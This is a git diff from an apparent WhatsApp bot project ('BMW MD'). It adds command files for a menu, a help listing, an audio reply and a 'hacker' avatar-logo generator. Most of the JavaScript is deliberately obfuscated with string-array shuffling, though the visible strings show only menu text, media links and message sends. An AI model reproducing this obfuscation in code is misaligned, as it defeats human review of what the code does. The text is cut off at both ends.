_0x56495f*_0x6797c0;},'LfYjH':_0x2e28f3(0x229)+_0x2e28f3(0x1cf)+_0x2e28f3(0x1c2)+_0x2e28f3(0x227)+'..','pQOvw':_0x2e28f3(0x1d8),'DfmuY':_0x2e28f3(0x22b)+_0x2e28f3(0x1c8),'iwZBy':_0x2e28f3(0x1d5)+_0x2e28f3(0x1cc),'AywyT':_0x2e28f3(0x1da)+_0x2e28f3(0x1e3)+_0x2e28f3(0x20f)+_0x2e28f3(0x1fb)+_0x2e28f3(0x1e9)+_0x2e28f3(0x221)+_0x2e28f3(0x1cb),'xLsFZ':_0x2e28f3(0x1e5)+_0x2e28f3(0x1f3)+'e:'};console[_0x2e28f3(0x1e1)](_0x1aaf45[_0x2e28f3(0x1dd)]);const _0x2f4cde=[_0x1aaf45[_0x2e28f3(0x20e)],_0x1aaf45[_0x2e28f3(0x20a)],_0x1aaf45[_0x2e28f3(0x1ed)],_0x1aaf45[_0x2e28f3(0x226)],_0x1aaf45[_0x2e28f3(0x1e7)]],_0x28d68b=_0x1aaf45[_0x2e28f3(0x21a)],_0x4f1da5=_0x1aaf45[_0x2e28f3(0x21e)],_0x187fc8=_0x2e28f3(0x1e4)+_0x2e28f3(0x210)+_0x2e28f3(0x20b)+_0x2e28f3(0x1f1)+_0x2e28f3(0x1f5)+_0x2e28f3(0x1d2)+_0x2e28f3(0x205)+_0x2e28f3(0x1de);try{const _0x5b5efe=_0x2f4cde[Math[_0x2e28f3(0x1fc)](_0x1aaf45[_0x2e28f3(0x1cd)](Math[_0x2e28f3(0x225)](),_0x2f4cde[_0x2e28f3(0x209)]))];await _0x4e08e3[_0x2e28f3(0x22c)+'e'](_0x227736,{'text':_0x1aaf45[_0x2e28f3(0x1c3)]}),await new Promise(_0x5850fb=>setTimeout(_0x5850fb,-0x5c*0x5b+-0x7*-0x58f+-0x24d)),await _0x4e08e3[_0x2e28f3(0x22c)+'e'](_0x227736,{'audio':{'url':_0x5b5efe},'mimetype':_0x1aaf45[_0x2e28f3(0x21b)],'ptt':!![],'caption':_0x187fc8,'contextInfo':{'mentionedJid':[_0x3e7674[_0x2e28f3(0x211)+_0x2e28f3(0x223)]||_0x227736],'externalAdReply':{'title':_0x1aaf45[_0x2e28f3(0x1fa)],'body':_0x1aaf45[_0x2e28f3(0x21f)],'thumbnailUrl':_0x28d68b,'sourceUrl':_0x4f1da5,'mediaType':0x2,'renderLargeThumbnail':!![]}}}),console[_0x2e28f3(0x1e1)](_0x1aaf45[_0x2e28f3(0x201)]);}catch(_0x4a7652){console[_0x2e28f3(0x1d0)](_0x1aaf45[_0x2e28f3(0x1f9)],_0x4a7652[_0x2e28f3(0x213)]);}}),console[_0x3e43c0(0x1e1)](_0x3e43c0(0x1ce)+_0x3e43c0(0x203)+'y.');
diff --git a/scs/bmwbo.js b/scs/bmwbo.js
new file mode 100644
index 0000000..d4c6aca
--- /dev/null
+++ b/scs/bmwbo.js
@@ -0,0 +1 @@
+function _0x4c7c(_0x17d2f9,_0x17dd93){const _0x23dc2f=_0x24be();return _0x4c7c=function(_0x13f34f,_0x54ddb4){_0x13f34f=_0x13f34f-(0x1910+-0x779*-0x1+-0x1f28);let _0x5ad829=_0x23dc2f[_0x13f34f];return _0x5ad829;},_0x4c7c(_0x17d2f9,_0x17dd93);}const _0x372c16=_0x4c7c;function _0x24be(){const _0x3a2f55=['repeat','┇\x20ᴍᴏᴅᴇ:\x20*','\x0a🌍\x20𝐁𝐄𝐒𝐓\x20𝐖𝐇','┇\x20ʙᴍᴡ\x20ᴍᴅ\x20ᴄ','totalmem','YWARL','format','Good\x20after','Ongfv','CTyJh','WMbiQ','cforU','zNFPC','FmFnU','┈┈━═──━┈⊷\x0a','menu','m/adams','m/mesfonct','\x20*ʙᴍᴡ\x20ᴍᴅ*\x0a','jrVmB','yPJmS','rhJgu','yfHvg','cCXDi','forEach','029VaZuGSx','rfaiN','GEGTn','oSxAM','noon','30pmMjyW','═══════❒*\x0a','\x0a*╏*\x20','toUpperCas','860hKFYAc','\x20ʙᴏᴛ\x20ɴᴀᴍᴇ:','jhcAn','audio/mp4','DD/MM/YYYY','WxHhm','©Ibrahim\x20A','▄▀▄▀▄','QFlEJ','toLowerCas','*\x0a┇\x20ᴄᴀᴘᴀᴄɪ','QDUZw','HH:mm:ss','mdntZ','PqUJo','𝐀𝐓𝐒𝐀𝐏𝐏\x20𝐁𝐎𝐓','┈━═──━┈⊷\x0a\x0a','moment-tim',':\x20*[\x20','▀▄▀▄▀▄\x0a©𝑰𝒃','XoIHF','CQWih','/../Ibrahi','Good\x20eveni','General','*\x0a┇\x20ᴛʏᴘᴇ:\x20','freemem','map','private','log','kqmaq','ions','zpdbN','▄▀▄▀▄▀▄▀▄▀','BPJBl','*ᴠ6x*\x0a┇\x20ᴅᴀ','.moe/oordg','cNhIZ','┈━═──━┈⊷\x0a┇','rOqJh','*\x0a┇\x20ᴛɪᴍᴇ:\x20','.moe/va22v','ADAMS','EhZZF','𝒓𝒂𝒉𝒊𝒎\x20𝑨𝒅𝒂𝒎','igwkG','FJPnW','public','dams','\x0a▄▀▄▀▄▀▄▀▄','qpGXl','ᴛᴇ:\x20*','aIGrI','https://fi','ᴏᴍᴍᴀɴᴅ\x20ʟɪs','ᴛ\x0a╰─────═━','ZTzVh','/../config','atsapp.com','Good\x20morni','MODE','les.catbox','IaJjO','setDefault','𝒔\x20𝑷𝒓𝒐𝒋𝒆𝒄𝒕\x0a','q.jpeg','/channel/0','PKgwM','platform','\x0a╰─────═━┈','categorie','Y\x20IBRAHIM\x20','\x0a*╰─══════','*╭────❒*\x20*','*\x20*❒*','*\x0a┇\x20ᴘʀᴇғɪx','\x20\x0a╭─────═━','EEMdQ','jDINF','KkAOK','197312GsLOUf','BMW\x20SONG\x20B','cXSVT','14mscgOO','BMW\x20MD\x20SON','FNusL','mRHRz','ezone','\x20]*\x0a┇\x20ᴘʟᴀᴛ','push','5oMYPsE','\x0a╭─────═━┈','.moe/ytix9','fromCharCo','nomCom','ғᴏʀᴍ:\x20*','jmfVo','\x20🌍\x0a\x0a','rmjtp','2994783VVihuz','aoBkJ','5.mp3','Good\x20night','keys','M0Y','hour','mamOP','ZQfTb','https://wh','EawdxZK9Cz','876480aOKfCy','6147HzQVgL','ulLix','IuZFi','ycoFG','85062WgbvwF','zXyoo','sendMessag','f.jpeg','ZsAra','nTFsy','SyJME','reur\x20','794200aneZOI','aRNnX','ᴛʏ\x20','yzQLL','TGtTl','CFktr','765546thzoSZ','HqpAJ','🥵🥵\x20Menu\x20er','sort','UqhaO'];_0x24be=function(){return _0x3a2f55;};return _0x24be();}(function(_0x3432c7,_0x48381c){const _0x2a4145=_0x4c7c,_0x214bee=_0x3432c7();while(!![]){try{const _0xb5233f=parseInt(_0x2a4145(0x191))/(0x1196*0x1+0xb43*0x2+-0x1*0x281b)*(-parseInt(_0x2a4145(0x1aa))/(0x9a7+0x1*0x2fc+0x35*-0x3d))+parseInt(_0x2a4145(0x1a5))/(-0x5e+0x1c50+-0x1*0x1bef)+-parseInt(_0x2a4145(0x187))/(-0x163d+0x1317+0x32a)*(parseInt(_0x2a4145(0x1db))/(-0x762+-0x2455+0x2bbc))+-parseInt(_0x2a4145(0x1b8))/(-0x14b1+-0x1b4c+0x3003*0x1)*(-parseInt(_0x2a4145(0x18a))/(0x1c15+-0xbc*0x20+-0x48e))+-parseInt(_0x2a4145(0x1b2))/(-0x1*-0x23ad+-0x925+-0x1a80)+parseInt(_0x2a4145(0x1a6))/(0x7*-0x487+0xd3*0x6+-0x359*-0x8)*(-parseInt(_0x2a4145(0x1df))/(-0x23a5+-0xe81+0x3230))+parseInt(_0x2a4145(0x19a))/(-0x124d+-0x1ad7+-0x10d*-0x2b);if(_0xb5233f===_0x48381c)break;else _0x214bee['push'](_0x214bee['shift']());}catch(_0x242ef8){_0x214bee['push'](_0x214bee['shift']());}}}(_0x24be,0x43701+0x30f*0x9+-0x1fd09));const {adams}=require(__dirname+(_0x372c16(0x1f5)+_0x372c16(0x1cd))),{format}=require(__dirname+(_0x372c16(0x1f5)+_0x372c16(0x1ce)+_0x372c16(0x1fe))),os=require('os'),moment=require(_0x372c16(0x1f0)+_0x372c16(0x18e)),s=require(__dirname+_0x372c16(0x170)),more=String[_0x372c16(0x194)+'de'](0x5aa*0x7+0xdb3+-0x154b),readmore=more[_0x372c16(0x1bd)](0x1634+0x16c6+-0x1d59);adams({'nomCom':_0x372c16(0x1cc),'categorie':_0x372c16(0x1f7)},async(_0x280d21,_0x45e8ec,_0x2cf75e)=>{const _0x2d85ce=_0x372c16,_0x4b8c5d={'jrVmB':function(_0x115e0f,_0x438b63){return _0x115e0f+_0x438b63;},'IuZFi':_0x2d85ce(0x1dd),'ZQfTb':function(_0x235e69,_0x46ba3e){return _0x235e69+_0x46ba3e;},'EEMdQ':_0x2d85ce(0x180),'IaJjO':_0x2d85ce(0x181),'rfaiN':_0x2d85ce(0x17f)+_0x2d85ce(0x1dc),'FJPnW':function(_0x1a6270,_0x1e3fa4){return _0x1a6270(_0x1e3fa4);},'WMbiQ':_0x2d85ce(0x1f5)+_0x2d85ce(0x1cd),'CFktr':function(_0x3a6504,_0x251e7e){return _0x3a6504===_0x251e7e;},'oSxAM':_0x2d85ce(0x166),'UqhaO':_0x2d85ce(0x1fb),'CQWih':function(_0x101145){return _0x101145();},'mdntZ':_0x2d85ce(0x1eb),'QFlEJ':function(_0x4d3a82){return _0x4d3a82();},'zpdbN':_0x2d85ce(0x1e3),'YWARL':function(_0x2db421){return _0x2db421();},'QDUZw':_0x2d85ce(0x19d),'igwkG':function(_0xad7156,_0xdca441){return _0xad7156>=_0xdca441;},'XoIHF':function(_0x26cfdf,_0x357923){return _0x26cfdf<=_0x357923;},'jDINF':_0x2d85ce(0x172)+'ng','KkAOK':function(_0x174f77,_0x4601fc){return _0x174f77<=_0x4601fc;},'EhZZF':_0x2d85ce(0x1c4)+_0x2d85ce(0x1da),'cCXDi':function(_0x57b9a3,_0x4d3a0c){return _0x57b9a3>=_0x4d3a0c;},'yzQLL':_0x2d85ce(0x1f6)+'ng','ulLix':function(_0xf1c60a,_0xeb1319){return _0xf1c60a+_0xeb1319;},'FmFnU':function(_0x115318,_0x4f5270){return _0x115318+_0x4f5270;},'ycoFG':function(_0x2d347b,_0x413057){return _0x2d347b+_0x413057;},'TGtTl':function(_0x5d7189,_0x2d5396){return _0x5d7189+_0x2d5396;},'HqpAJ':function(_0x1f6c9a,_0x4a0a4f){return _0x1f6c9a+_0x4a0a4f;},'aRNnX':function(_0x20e935,_0x8f00b2){return _0x20e935+_0x8f00b2;},'aIGrI':function(_0x34ea1d,_0x1af168){return _0x34ea1d+_0x1af168;},'zNFPC':function(_0x4f18bc,_0x1f46cd){return _0x4f18bc+_0x1f46cd;},'CTyJh':function(_0x18b348,_0x276096){return _0x18b348+_0x276096;},'kqmaq':_0x2d85ce(0x192)+_0x2d85ce(0x205)+_0x2d85ce(0x1e0)+_0x2d85ce(0x1cf)+_0x2d85ce(0x1be),'jmfVo':_0x2d85ce(0x182)+_0x2d85ce(0x1f1),'jhcAn':_0x2d85ce(0x18f)+_0x2d85ce(0x196),'rmjtp':_0x2d85ce(0x1f8)+_0x2d85ce(0x202)+_0x2d85ce(0x16a),'mamOP':_0x2d85ce(0x207)+'*','BPJBl':_0x2d85ce(0x1e9)+_0x2d85ce(0x1b4),'nTFsy':function(_0x26dfde,_0x43dbbb){return _0x26dfde(_0x43dbbb);},'cXSVT':function(_0x501ee9,_0xf6180){return _0x501ee9-_0xf6180;},'rOqJh':function(_0x43730c,_0x59ea71){return _0x43730c(_0x59ea71);},'cNhIZ':_0x2d85ce(0x17c)+_0x2d85ce(0x1ef)+_0x2d85ce(0x1bf)+_0x2d85ce(0x1ee)+_0x2d85ce(0x198),'PKgwM':function(_0x1d4099,_0x238bfc){return _0x1d4099+_0x238bfc;},'cforU':_0x2d85ce(0x183)+_0x2d85ce(0x1cb)+_0x2d85ce(0x1c0)+_0x2d85ce(0x16d)+_0x2d85ce(0x16e)+_0x2d85ce(0x1cb)+'\x0a','aoBkJ':_0x2d85ce(0x168)+_0x2d85ce(0x1f2)+_0x2d85ce(0x163)+_0x2d85ce(0x177)+_0x2d85ce(0x200)+_0x2d85ce(0x1e6),'ZsAra':function(_0x5365f5,_0x1bf3af){return _0x5365f5+_0x1bf3af;},'WxHhm':_0x2d85ce(0x1e5)+_0x2d85ce(0x167),'FNusL':_0x2d85ce(0x16c)+_0x2d85ce(0x174)+_0x2d85ce(0x193)+_0x2d85ce(0x1ad),'Ongfv':_0x2d85ce(0x1a3)+_0x2d85ce(0x171)+_0x2d85ce(0x179)+_0x2d85ce(0x1d6)+_0x2d85ce(0x1a4)+_0x2d85ce(0x19f),'PqUJo':_0x2d85ce(0x16c)+_0x2d85ce(0x174)+_0x2d85ce(0x203)+_0x2d85ce(0x19c),'zXyoo':_0x2d85ce(0x1e2),'yfHvg':_0x2d85ce(0x18b)+'G','mRHRz':_0x2d85ce(0x188)+_0x2d85ce(0x17e)+_0x2d85ce(0x161),'yPJmS':_0x2d85ce(0x16c)+_0x2d85ce(0x174)+_0x2d85ce(0x208)+_0x2d85ce(0x178),'ZTzVh':function(_0x2b8a9e,_0x33d72a){return _0x2b8a9e+_0x33d72a;},'SyJME':_0x2d85ce(0x1ba)+_0x2d85ce(0x1b1),'rhJgu':function(_0x12bbad,_0x4061a2){return _0x12bbad(_0x4061a2);}};let {ms:_0x22faec,repondre:_0xf8a744,prefixe:_0x4fbe7b,nomAuteurMessage:_0x445453}=_0x2cf75e,{cm:_0x5cf5e1}=_0x4b8c5d[_0x2d85ce(0x165)](require,_0x4b8c5d[_0x2d85ce(0x1d0)](__dirname,_0x4b8c5d[_0x2d85ce(0x1c7)]));var _0x1d1021={},_0x1b1567=_0x4b8c5d[_0x2d85ce(0x1b7)](s[_0x2d85ce(0x173)][_0x2d85ce(0x1e8)+'e'](),_0x4b8c5d[_0x2d85ce(0x1d9)])?_0x4b8c5d[_0x2d85ce(0x1d9)]:_0x4b8c5d[_0x2d85ce(0x1bc)];_0x5cf5e1[_0x2d85ce(0x1fa)](_0x1e49c8=>{const _0x5ad9a1=_0x2d85ce,_0x4c5040=_0x1e49c8[_0x5ad9a1(0x17d)][_0x5ad9a1(0x1de)+'e']();!_0x1d1021[_0x4c5040]&&(_0x1d1021[_0x4c5040]=[]),_0x1d1021[_0x4c5040][_0x5ad9a1(0x190)](_0x1e49c8[_0x5ad9a1(0x195)]);}),moment['tz'][_0x2d85ce(0x176)](_0x4b8c5d[_0x2d85ce(0x1a2)]('',s['TZ']));const _0x26b957=_0x4b8c5d[_0x2d85ce(0x1f4)](moment)[_0x2d85ce(0x1c3)](_0x4b8c5d[_0x2d85ce(0x1ec)]),_0x503ace=_0x4b8c5d[_0x2d85ce(0x1e7)](moment)[_0x2d85ce(0x1c3)](_0x4b8c5d[_0x2d85ce(0x1ff)]),_0x51e4c8=_0x4b8c5d[_0x2d85ce(0x1c2)](moment)[_0x2d85ce(0x1a0)]();let _0x265f04=_0x4b8c5d[_0x2d85ce(0x1ea)];_0x4b8c5d[_0x2d85ce(0x164)](_0x51e4c8,0xf04*0x1+0xa77+-0x197b)&&_0x4b8c5d[_0x2d85ce(0x1f3)](_0x51e4c8,-0x25f*0xd+0x8*0x471+-0x4aa)?_0x265f04=_0x4b8c5d[_0x2d85ce(0x185)]:_0x4b8c5d[_0x2d85ce(0x164)](_0x51e4c8,0x6eb*0x5+0xc57+-0x2ee2)&&_0x4b8c5d[_0x2d85ce(0x186)](_0x51e4c8,0x8f*0x27+-0x645+-0xf74)?_0x265f04=_0x4b8c5d[_0x2d85ce(0x162)]:_0x4b8c5d[_0x2d85ce(0x1d4)](_0x51e4c8,0x2*-0xa85+-0x12f5+0x1*0x280f)&&_0x4b8c5d[_0x2d85ce(0x1f3)](_0x51e4c8,0x202d+0x17*0xf6+-0x3632)&&(_0x265f04=_0x4b8c5d[_0x2d85ce(0x1b5)]);let _0x552c3b=_0x4b8c5d[_0x2d85ce(0x1a7)](_0x4b8c5d[_0x2d85ce(0x1ca)](_0x4b8c5d[_0x2d85ce(0x1a7)](_0x4b8c5d[_0x2d85ce(0x1a9)](_0x4b8c5d[_0x2d85ce(0x1a2)](_0x4b8c5d[_0x2d85ce(0x1b6)](_0x4b8c5d[_0x2d85ce(0x1a7)](_0x4b8c5d[_0x2d85ce(0x1b9)](_0x4b8c5d[_0x2d85ce(0x1b3)](_0x4b8c5d[_0x2d85ce(0x16b)](_0x4b8c5d[_0x2d85ce(0x1c9)](_0x4b8c5d[_0x2d85ce(0x1a2)](_0x4b8c5d[_0x2d85ce(0x1c6)](_0x4b8c5d[_0x2d85ce(0x16b)](_0x4b8c5d[_0x2d85ce(0x1fd)],_0x1b1567),_0x4b8c5d[_0x2d85ce(0x197)]),_0x4fbe7b),_0x4b8c5d[_0x2d85ce(0x1e1)]),os[_0x2d85ce(0x17b)]()),_0x4b8c5d[_0x2d85ce(0x199)]),_0x503ace),_0x4b8c5d[_0x2d85ce(0x1a1)]),_0x26b957),_0x4b8c5d[_0x2d85ce(0x201)]),_0x4b8c5d[_0x2d85ce(0x1af)](format,_0x4b8c5d[_0x2d85ce(0x189)](os[_0x2d85ce(0x1c1)](),os[_0x2d85ce(0x1f9)]()))),'/'),_0x4b8c5d[_0x2d85ce(0x206)](format,os[_0x2d85ce(0x1c1)]())),_0x4b8c5d[_0x2d85ce(0x204)]),_0x1dc1d4=_0x4b8c5d[_0x2d85ce(0x17a)](readmore,_0x4b8c5d[_0x2d85ce(0x1c8)]);const _0x4db48b=Object[_0x2d85ce(0x19e)](_0x1d1021)[_0x2d85ce(0x1bb)]();_0x4db48b[_0x2d85ce(0x1d5)](_0x13e260=>{const _0x4e63d8=_0x2d85ce,_0x444d42={'GEGTn':function(_0x4c70fd,_0x1724d4){const _0x4c0177=_0x4c7c;return _0x4b8c5d[_0x4c0177(0x1d0)](_0x4c70fd,_0x1724d4);},'qpGXl':_0x4b8c5d[_0x4e63d8(0x1a8)]};_0x1dc1d4+=_0x4b8c5d[_0x4e63d8(0x1a2)](_0x4b8c5d[_0x4e63d8(0x1d0)](_0x4b8c5d[_0x4e63d8(0x184)],_0x13e260),_0x4b8c5d[_0x4e63d8(0x175)]),_0x1d1021[_0x13e260][_0x4e63d8(0x1d5)](_0x2a76c3=>{const _0x160673=_0x4e63d8;_0x1dc1d4+=_0x444d42[_0x160673(0x1d8)](_0x444d42[_0x160673(0x169)],_0x2a76c3);}),_0x1dc1d4+=_0x4b8c5d[_0x4e63d8(0x1d7)];}),_0x1dc1d4+=_0x4b8c5d[_0x2d85ce(0x19b)];try{await _0x45e8ec[_0x2d85ce(0x1ac)+'e'](_0x280d21,{'text':_0x4b8c5d[_0x2d85ce(0x1ae)](_0x552c3b,_0x1dc1d4),'contextInfo':{'mentionedJid':[_0x445453],'externalAdReply':{'body':_0x4b8c5d[_0x2d85ce(0x1e4)],'thumbnailUrl':_0x4b8c5d[_0x2d85ce(0x18c)],'sourceUrl':_0x4b8c5d[_0x2d85ce(0x1c5)],'mediaType':0x1,'rendersmallThumbnail':!![]}}}),await _0x45e8ec[_0x2d85ce(0x1ac)+'e'](_0x280d21,{'audio':{'url':_0x4b8c5d[_0x2d85ce(0x1ed)]},'mimetype':_0x4b8c5d[_0x2d85ce(0x1ab)],'ptt':![],'caption':_0x4b8c5d[_0x2d85ce(0x1d3)],'contextInfo':{'externalAdReply':{'body':_0x4b8c5d[_0x2d85ce(0x18d)],'thumbnailUrl':_0x4b8c5d[_0x2d85ce(0x1d1)],'sourceUrl':_0x4b8c5d[_0x2d85ce(0x1c5)],'rendersmallThumbnail':![]}}});}catch(_0x569d9f){console[_0x2d85ce(0x1fc)](_0x4b8c5d[_0x2d85ce(0x16f)](_0x4b8c5d[_0x2d85ce(0x1b0)],_0x569d9f)),_0x4b8c5d[_0x2d85ce(0x1d2)](_0xf8a744,_0x4b8c5d[_0x2d85ce(0x1ca)](_0x4b8c5d[_0x2d85ce(0x1b0)],_0x569d9f));}});
\ No newline at end of file
diff --git a/scs/bmwboo.js b/scs/bmwboo.js
new file mode 100644
index 0000000..589a6ec
--- /dev/null
+++ b/scs/bmwboo.js
@@ -0,0 +1,2 @@
+function _0x2b3c(_0x16c484,_0x2d5d41){const _0x265a32=_0x265a();return _0x2b3c=function(_0x2b3cbf,_0x2c5322){_0x2b3cbf=_0x2b3cbf-0x15e;let _0x54fadc=_0x265a32[_0x2b3cbf];return _0x54fadc;},_0x2b3c(_0x16c484,_0x2d5d41);}const _0x1284c5=_0x2b3c;(function(_0x44f7b0,_0x5c218e){const _0x5ac986=_0x2b3c,_0x4bf92b=_0x44f7b0();while(!![]){try{const _0x2ca696=-parseInt(_0x5ac986(0x161))/0x1*(-parseInt(_0x5ac986(0x180))/0x2)+-parseInt(_0x5ac986(0x165))/0x3*(parseInt(_0x5ac986(0x183))/0x4)+parseInt(_0x5ac986(0x189))/0x5*(parseInt(_0x5ac986(0x18a))/0x6)+-parseInt(_0x5ac986(0x17a))/0x7*(-parseInt(_0x5ac986(0x177))/0x8)+-parseInt(_0x5ac986(0x16d))/0x9+-parseInt(_0x5ac986(0x17e))/0xa*(parseInt(_0x5ac986(0x168))/0xb)+parseInt(_0x5ac986(0x16c))/0xc;if(_0x2ca696===_0x5c218e)break;else _0x4bf92b['push'](_0x4bf92b['shift']());}catch(_0x378a47){_0x4bf92b['push'](_0x4bf92b['shift']());}}}(_0x265a,0x32d21));const util=require('util'),fs=require(_0x1284c5(0x173)),{adams}=require(__dirname+_0x1284c5(0x186)),{format}=require(__dirname+'/../Ibrahim/mesfonctions'),os=require('os'),moment=require(_0x1284c5(0x160)),s=require(__dirname+_0x1284c5(0x167)),more=String[_0x1284c5(0x187)](0x200e),Taphere=more[_0x1284c5(0x16e)](0xfa1);adams({'nomCom':_0x1284c5(0x16f),'categorie':'General'},async(_0x15bd1b,_0x34ad3b,_0x225f1b)=>{const _0x589ec1=_0x1284c5;let {ms:_0x42419d,repondre:_0x4a57b6,prefixe:_0x2fc159,nomAuteurMessage:_0x19fe77,mybotpic:_0x15306d}=_0x225f1b,{cm:_0xbc2887}=require(__dirname+'/../Ibrahim//adams');var _0x4c7b14={},_0x242361=_0x589ec1(0x163);s['MODE'][_0x589ec1(0x169)]()!=_0x589ec1(0x166)&&(_0x242361=_0x589ec1(0x162));_0xbc2887[_0x589ec1(0x176)](async(_0x4bc1db,_0x410859)=>{const _0x37d376=_0x589ec1;if(!_0x4c7b14[_0x4bc1db[_0x37d376(0x171)]])_0x4c7b14[_0x4bc1db['categorie']]=[];_0x4c7b14[_0x4bc1db[_0x37d376(0x171)]]['push'](_0x4bc1db[_0x37d376(0x185)]);}),moment['tz'][_0x589ec1(0x179)](_0x589ec1(0x188));const _0x49a8d9=moment()[_0x589ec1(0x184)](_0x589ec1(0x172)),_0x48bf66=moment()['format'](_0x589ec1(0x174));let _0x5f0c7e=_0x589ec1(0x15f)+_0x19fe77+'*\x0a╭─────═━┈┈━═──━┈⊷\x0a┇\x20『𝐌𝐀𝐈𝐍』\x0a┇\x20🤖\x20ʙᴏᴛ\x20ɴᴀᴍᴇ:\x20*ʙᴍᴡ\x20ᴍᴅ*\x0a┇\x20💢\x20ᴛʏᴘᴇ:\x20*ᴠ6x*\x0a┇\x20🥷\x20ᴅᴇᴠ:\x20*sɪʀ\x20ɪʙʀᴀʜɪᴍ*\x0a╰─────═━┈┈━═──━┈⊷\x0a╭─────═━┈┈━═──━┈⊷\x0a┇\x20『𝐒𝐘𝐒𝐓𝐄𝐌』\x0a┇\x20📍\x20ᴠᴇʀꜱɪᴏɴ:\x20*6.0.3*\x0a┇\x20💻\x20ᴘʟᴀᴛғᴏʀᴍ:\x20*'+os[_0x589ec1(0x181)]()+'*\x0a╰─────═━┈┈━═──━┈⊷\x0a╭─────═━┈┈━═──━┈⊷\x0a┇\x20『𝐌𝐎𝐃𝐄』\x0a┇\x20⭕\x20ᴍᴏᴅᴇ:\x20*'+_0x242361+'*\x0a┇\x20💫\x20ᴘʀᴇғɪx:\x20*[\x20'+_0x2fc159+_0x589ec1(0x15e)+_0x49a8d9+_0x589ec1(0x178)+_0x48bf66+_0x589ec1(0x164),_0x54f82b=_0x589ec1(0x17f);for(const _0x10dbdd in _0x4c7b14){_0x54f82b+=_0x589ec1(0x16b)+_0x10dbdd+'*\x20*❒*';for(const _0x2bf9c1 of _0x4c7b14[_0x10dbdd]){_0x54f82b+=_0x589ec1(0x182)+_0x2bf9c1;}_0x54f82b+=_0x589ec1(0x17c);}_0x54f82b+=_0x589ec1(0x175);var _0x4c443b=_0x15306d();if(_0x4c443b['match'](/\.(mp4|gif)$/i))try{_0x34ad3b[_0x589ec1(0x16a)](_0x15bd1b,{'video':{'url':_0x4c443b},'caption':_0x5f0c7e+_0x54f82b,'footer':_0x589ec1(0x17b),'gifPlayback':!![]},{'quoted':_0x42419d});}catch(_0x5d7740){console['log'](_0x589ec1(0x17d)+_0x5d7740),_0x4a57b6(_0x589ec1(0x17d)+_0x5d7740);}else{if(_0x4c443b['match'](/\.(jpeg|png|jpg)$/i))try{_0x34ad3b[_0x589ec1(0x16a)](_0x15bd1b,{'image':{'url':_0x4c443b},'caption':_0x5f0c7e+_0x54f82b,'footer':'Je\x20suis\x20*BMW\x20MD*,\x20déveloped\x20Ibrahim\x20Adams'},{'quoted':_0x42419d});}catch(_0x1acf05){console[_0x589ec1(0x170)](_0x589ec1(0x17d)+_0x1acf05),_0x4a57b6(_0x589ec1(0x17d)+_0x1acf05);}else _0x4a57b6(_0x5f0c7e+_0x54f82b);}});function _0x265a(){const _0x4c9706=['categorie','HH:mm:ss','fs-extra','DD/MM/YYYY','\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a©𝑰𝒃𝒓𝒂𝒉𝒊𝒎\x20𝑨𝒅𝒂𝒎𝒔\x20𝑷𝒓𝒐𝒋𝒆𝒄𝒕\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x20','map','2607464vqRsvC','\x0a┇\x20📅\x20ᴅᴀᴛᴇ:\x20','setDefault','7AvNzwU','*BMW\x20MD*,\x20déveloped\x20Ibrahim\x20Adams','\x0a*╰─═════════════❒*\x20\x0a','🥵🥵\x20Menu\x20erreur\x20','230TIkHUY','\x0a\x0a╭─────═━┈┈━═──━┈⊷\x0a┇\x20ʙᴍᴡ\x20ᴍᴅ\x20ᴄᴏᴍᴍᴀɴᴅ\x20ʟɪsᴛ\x0a╰─────═━┈┈━═──━┈⊷\x0a\x20','2028xUihAV','platform','\x20\x20\x0a*╏*\x20','821336kejjBf','format','nomCom','/../Ibrahim/adams','fromCharCode','Africa/Nairobi','310SOwXSc','35304mnwZko','\x20]*\x0a┇\x20⏲️\x20ᴛɪᴍᴇ:\x20','\x0a*Hey🖐️*\x20*','moment-timezone','220yiiLSo','private','public','\x20\x0a╰─────═━┈┈━═──━┈⊷\x0a╭─────═━┈┈━═──━┈⊷\x0a\x20\x20『𝐒𝐔𝐏𝐏𝐎𝐑𝐓』\x0a\x20\x20♾️\x20ᴡʜᴀᴛsᴀᴘᴘ\x20ᴄʜᴀɴɴᴇʟ\x0a\x20\x20https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y\x0a\x20\x20♾️\x20ᴛᴇʟᴇɢʀᴀᴍ\x20ᴄʜᴀɴɴᴇʟ\x0a\x20\x20https://t.me/ibrahimtechai\x0a\x20\x20♾️\x20ʏᴏᴜᴛᴜʙᴇ\x20ᴄʜᴀɴɴᴇʟ\x0a\x20\x20https://www.youtube.com/@ibrahimaitech\x0a\x20\x20♾️\x20ɪɴsᴛᴀɢʀᴀᴍ\x20ᴘᴀɢᴇ\x0a\x20\x20https://www.instagram.com/ibrahimadamstech\x0a╰─────═━┈┈━═──━┈⊷\x0a>\x20©𝑰𝒃𝒓𝒂𝒉𝒊𝒎\x20𝑨𝒅𝒂𝒎𝒔\x0a\x0a','6FFRSDY','yes','/../config','166507cRCrSQ','toLocaleLowerCase','sendMessage','*╭────❒*\x20*','3292464voqxzX','1990917cgHrOP','repeat','help','log'];_0x265a=function(){return _0x4c9706;};return _0x265a();}
+
diff --git a/scs/bmwbu.js b/scs/bmwbu.js
new file mode 100644
index 0000000..cfacf00
--- /dev/null
+++ b/scs/bmwbu.js
@@ -0,0 +1,500 @@
+const { adams } = require("../Ibrahim/adams");
+var mumaker = require("mumaker");
+adams({ nomCom: "hacker",
+ categorie: "Logo", reaction: "👨🏿💻" }, async (origineMessage, zk, commandeOptions) => {
+ const { prefixe, arg, ms, repondre } = commandeOptions;
+ if (!arg || arg == "") {
+ repondre("*__Exemple : * " + prefixe + "hacker Ibrahim");
+ return;
+ }
+ try {
+ let radio = "984dd03e-220d-4335-a6ba-7ac56b092240";
+ let anu = await mumaker.ephoto("https://en.ephoto360.com/create-anonymous-hacker-avatars-cyan-neon-677.html", arg); //
+ //
+ // let res = Object.values(anu)[3];
+ // console.log("&€"+res);
+ // let lien = "https://e1.yotools.net" + res;
+ repondre("* processing...*");
+ await zk.sendMessage(origineMessage, { image: { url:anu.image}, caption: "* \t Logo by bmw-Md*" }, { quoted: ms });
+ }
+ catch (e) {
